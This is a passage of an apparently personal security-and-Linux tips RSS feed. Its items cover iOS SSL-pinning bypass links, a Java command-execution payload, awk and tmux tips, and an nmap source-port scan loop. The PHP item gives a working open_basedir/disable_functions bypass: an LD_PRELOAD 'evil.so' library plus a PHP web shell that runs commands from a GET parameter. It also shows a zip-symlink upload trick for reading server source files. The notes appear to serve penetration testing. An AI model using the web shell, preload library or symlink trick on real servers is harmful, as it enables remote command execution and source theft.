href=&#34;https://gist.github.com/gteissier/8dfd606e2fafa4ed2495fe748c8a2a19&#34;&gt;https://gist.github.com/gteissier/8dfd606e2fafa4ed2495fe748c8a2a19&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>IOS</title>
      <link>https://tips.unixed.fr/security/ios/</link>
      <pubDate>Thu, 15 Oct 2020 06:26:29 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/ios/</guid>
      <description>&lt;ul&gt;&#xA;&lt;li&gt;Meduza: &lt;a href=&#34;https://www.kitploit.com/2020/10/meduza-more-or-less-universal-ssl.html&#34;&gt;https://www.kitploit.com/2020/10/meduza-more-or-less-universal-ssl.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://blog.ropnop.com/configuring-burp-suite-with-android-nougat/&#34;&gt;https://blog.ropnop.com/configuring-burp-suite-with-android-nougat/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/nabla-c0d3/ssl-kill-switch2&#34;&gt;https://github.com/nabla-c0d3/ssl-kill-switch2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Java</title>
      <link>https://tips.unixed.fr/security/java/</link>
      <pubDate>Wed, 30 Sep 2020 12:46:26 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/java/</guid>
      <description>&lt;p&gt;&lt;code&gt;new java.lang.ProcessBuilder(&amp;quot;xcalc&amp;quot;).start()&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;-(new java.lang.ProcessBuilder(&amp;quot;xcalc&amp;quot;).start())-&lt;/code&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Cmdline</title>
      <link>https://tips.unixed.fr/linux/cmdline/</link>
      <pubDate>Fri, 10 Jul 2020 13:34:20 +0000</pubDate>
      <guid>https://tips.unixed.fr/linux/cmdline/</guid>
      <description>&lt;ul&gt;&#xA;&lt;li&gt;Select column using awk and apply base64 for one of them:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cat file &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; awk -F &lt;span class=&#34;s1&#34;&gt;&amp;#39;:&amp;#39;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;{ &amp;#34;echo -n &amp;#34;$3&amp;#34; | base64&amp;#34; | getlline x&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;print $1, $2, x}&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Exemple:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ cat a&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;plop:glou:coin:qweqwe&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;foo:bar:test:qweqwe&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ cat testfile.txt &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; awk -F &lt;span class=&#34;s1&#34;&gt;&amp;#39;:&amp;#39;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;{ &amp;#34;echo -n &amp;#34;$3&amp;#34; | base64&amp;#34; | getline x&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;print $1, $2, x}&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;plop glou &lt;span class=&#34;nv&#34;&gt;Y29pbg&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;==&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;foo bar &lt;span class=&#34;nv&#34;&gt;dGVzdA&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;==&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;Access environment variable (-v awk_var=env_var)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; a in &lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;seq &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt; 100&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;do&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;nmap -p &lt;span class=&#34;m&#34;&gt;25&lt;/span&gt; --source-port &lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt; www.example.com &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; grep tcp &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; awk -v &lt;span class=&#34;nv&#34;&gt;var&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;{print var &amp;#34;:&amp;#34; $1 &amp;#34;:&amp;#34; $2}&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;1:25/tcp:open&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;2:25/tcp:open&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;3:25/tcp:open&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;4:25/tcp:open&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;5:25/tcp:open&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;6:25/tcp:open&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;7:25/tcp:filtered&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;8:25/tcp:open&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;tmux&#34;&gt;tmux&lt;/h2&gt;&#xA;&lt;h3 id=&#34;copy---paste&#34;&gt;copy - paste&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enter &lt;em&gt;copy mode&lt;/em&gt;: &lt;code&gt;Ctrl + &amp;lt;prefix&amp;gt; + [&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Start selection: Ctrl+SPACE&lt;/li&gt;&#xA;&lt;li&gt;Move with keys&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Ctrl+w&lt;/code&gt; to copy into &lt;strong&gt;Tmux buffer&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the same tmux, but could be different windows/pane, &lt;code&gt;vim /tmp/mycopy&lt;/code&gt;, insert mode then &lt;code&gt;Ctrl+&amp;lt;prefix&amp;gt; + ]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;search&#34;&gt;Search&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enter &lt;em&gt;copy mode&lt;/em&gt;: &lt;code&gt;Ctrl + &amp;lt;prefix&amp;gt; + [&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ctrl+s to type the string to search&lt;/li&gt;&#xA;&lt;li&gt;Enter search&lt;/li&gt;&#xA;&lt;li&gt;Shift-n for reverse search&lt;/li&gt;&#xA;&lt;li&gt;Shift-r for reverse direction&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;create-new-session-inside-a-session&#34;&gt;Create new session inside a session&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Ctrl + &amp;lt;prefix&amp;gt; :new -s &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;swap-panes&#34;&gt;swap panes&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Ctrl + &amp;lt;prefix&amp;gt; }&lt;/code&gt; swap-pane with the next one&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Ctrl + &amp;lt;prefix&amp;gt; {&lt;/code&gt; swap-pane with the previous one&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;move-panes&#34;&gt;move panes&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Ctrl + &amp;lt;prefix&amp;gt; :join-pane -s :1&lt;/code&gt; bring active pane on window 1 to current window&lt;/li&gt;&#xA;&lt;li&gt;or&lt;/li&gt;&#xA;&lt;li&gt;Identify with &lt;code&gt;Ctrl+ &amp;lt;prefix&amp;gt; + q&lt;/code&gt; then &lt;code&gt;Ctrl + &amp;lt;prefix&amp;gt; :join-pane -s 1&lt;/code&gt; bring pange 1 into the current space&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;zip&#34;&gt;zip&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;list file in zip:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;unzip -l &amp;lt;file.zip&amp;gt;&#xA;zip -sf &amp;lt;file.zip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&#xA;&lt;li&gt;extract one file from the zip:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;unzip -p &amp;lt;file.zip&amp;gt; path/to/file &amp;gt; file&#xA;unzip -j &amp;lt;file.zip&amp;gt; path/to/file -d .&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;targz&#34;&gt;tar.gz&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;list file in tar.gz&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;tar -tvf &amp;lt;file.tar.gz&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&#xA;&lt;li&gt;compress with automatical detection of extension&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;tar -cvaf dir.tzst dir&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&#xA;&lt;li&gt;decompress with automatical detection of extension&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;tar -xvaf dir.tzst&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;zst&#34;&gt;zst&lt;/h2&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;zstd -l &amp;lt;file.zst&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Php</title>
      <link>https://tips.unixed.fr/security/php/</link>
      <pubDate>Fri, 10 Jul 2020 08:15:24 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/php/</guid>
      <description>&lt;h2 id=&#34;bypass-open_basedir-and-disabled-functionaly&#34;&gt;Bypass open_basedir and &amp;ldquo;disabled&amp;rdquo; functionaly&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bug description: &lt;a href=&#34;https://bugs.php.net/bug.php?id=46741&#34;&gt;https://bugs.php.net/bug.php?id=46741&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tools: &lt;code&gt;git clone https://github.com/TarlogicSecurity/Chankro.git&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Practical example:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cm&#34;&gt;/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#include&lt;/span&gt; &lt;span class=&#34;cpf&#34;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#include&lt;/span&gt; &lt;span class=&#34;cpf&#34;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#include&lt;/span&gt; &lt;span class=&#34;cpf&#34;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;payload&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;char&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;kt&#34;&gt;char&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;512&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nf&#34;&gt;strcpy&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nf&#34;&gt;strcat&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34; &amp;gt; /tmp/_0utput.txt&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nf&#34;&gt;system&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt;  &lt;span class=&#34;nf&#34;&gt;geteuid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;kt&#34;&gt;char&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;getenv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;LD_PRELOAD&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;NULL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nf&#34;&gt;unsetenv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;LD_PRELOAD&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;getenv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;_evilcmd&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;NULL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;payload&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-PHP&#34; data-lang=&#34;PHP&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nv&#34;&gt;$cmd&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;cmd&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;putenv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;LD_PRELOAD=/var/www/html/upload/XXXXXXXXXXXX-evil.so&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;putenv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;_evilcmd=&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;cmd&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;mail&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;a@example.com&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;show_source&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;/tmp/_0utput.txt&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;upload-zip-file&#34;&gt;Upload zip file&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ZIP link&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ ln -s ../../../../../var/www/index.php myfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;...&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ zip --symlinks a.zip myfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;By uploading the ZIP file, if website performs UNZIP without been cautious, it will be possible to retrieve source code.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Password</title>
      <link>https://tips.unixed.fr/security/password/</link>
      <pubDate>Wed, 08 Jul 2020 14:32:45 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/password/</guid>
      <description>&lt;h2 id=&#34;decode-f5-cookie&#34;&gt;Decode F5 cookie&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;printf&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;%d.%d.%d.%d\n&amp;#39;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; 0ab50f03 &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; sed &lt;span class=&#34;s1&#34;&gt;&amp;#39;s/../0x&amp;amp; /g&amp;#39;&lt;/span&gt;&lt;span 